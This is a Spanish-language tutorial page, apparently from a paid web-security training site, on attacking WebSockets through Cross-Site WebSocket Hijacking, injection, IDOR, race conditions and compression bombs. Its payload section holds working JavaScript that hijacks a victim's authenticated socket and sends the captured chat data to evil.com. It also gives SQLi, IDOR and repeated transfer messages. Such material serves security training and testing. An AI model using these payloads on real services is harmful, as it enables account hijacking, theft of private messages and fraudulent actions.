Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →WebSockets
Ataques en comunicaciones bidireccionales en tiempo real
Respuesta rápida
¿Qué es WebSockets?
Los WebSockets permiten comunicación bidireccional entre cliente y servidor. A menudo tienen menos protecciones que las APIs REST: sin CORS, sin rate limiting, sin logging adecuado.
Severidad
Alto
Frecuencia
Menos común
Payloads
6
Pasos
5
Severidad
Alto
Frecuencia
Menos común
Payloads
6
Los WebSockets no están sujetos a la Same-Origin Policy. Si el servidor no valida el header Origin, cualquier sitio web puede establecer una conexión WebSocket autenticada usando las cookies del usuario. Los mensajes también pueden ser vulnerables a inyecciones.
Dónde buscar
Chat en tiempo real
Mensajería, soporte, comentarios live. Los mensajes del usuario se procesan server-side.
Notificaciones push
Dashboards con datos en tiempo real. La conexión WS puede filtrar datos.
Collaborative editing
Editores colaborativos tipo Google Docs. Cambios sincronizados vía WS.
Trading/subastas
Plataformas financieras con precios en tiempo real. Race conditions en órdenes.
Metodología
Interceptar WebSocket
Burp → WebSockets history. Analiza los mensajes enviados y recibidos.
Verificar validación de Origin
¿El servidor acepta conexiones desde cualquier origen? Si sí → CSWSH.
Probar inyecciones en mensajes
SQLi, XSS, command injection en los campos JSON de los mensajes WS.
Probar IDOR
Cambiar userId o roomId en los mensajes para acceder a datos de otros.
Race conditions
WebSockets son full-duplex — enviar múltiples mensajes antes de que el servidor procese el primero.
Caso real
Cross-Site WebSocket Hijacking → exfiltración de chat privado
Detectar falta de validación de Origin
El servidor WS no valida el header Origin — acepta conexiones desde cualquier dominio.
Crear página maliciosa
Página en evil.com que establece conexión WebSocket a wss://target.com/ws usando las cookies del usuario.
Interceptar mensajes
La página recibe todos los mensajes del chat privado del usuario y los envía al servidor del atacante.
Enviar comandos
Además de leer, el atacante puede enviar mensajes como la víctima.
Lección: Los WebSockets ignoran CORS por diseño. Sin validación de Origin, cualquier sitio puede hijackear la conexión WS del usuario autenticado.
Payloads
CSWSH básico
var ws = new WebSocket("wss://target.com/ws");
ws.onmessage = function(e) { fetch("https://evil.com/log?d="+e.data) }SQLi en mensaje WS
{"query": "' OR 1=1--"}IDOR en WS
{"action": "getProfile", "userId": "victim-id-123"}Payloads avanzados(requiere cuenta)
CSWSH completo con exfil
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function(){ws.send(JSON.stringify({action:"getChats"}))};
ws.onmessage = function(e){fetch("https://evil.com/steal?d="+btoa(e.data))};
</script>DoS compression bomb
Enviar mensaje con permessage-deflate: datos altamente comprimibles (1MB → 1GB decompressed)
Race condition WS
10x simultáneo: {"action":"transfer","amount":100,"to":"attacker"}Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
Burp Suite WS
Intercepta y modifica mensajes WebSocket en tiempo real.
Proxy → WebSockets history → Interceptar mensajes
wscat
Cliente WebSocket CLI para testing manual de conexiones.
wscat -c wss://target.com/ws -H 'Cookie: session=xxx'
Tips
Sin Origin validation = CSWSH
Si el servidor no valida el header Origin, cualquier sitio web puede conectarse al WS del usuario.
Los WS ignoran CORS
Los WebSockets no están sujetos a Same-Origin Policy. Es una superficie de ataque diferente a REST.
Menos logging = menos detección
Los mensajes WS a menudo no se loggean como los requests HTTP. Ideal para ataques silenciosos.
Contenido relacionado
Practica WebSockets con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.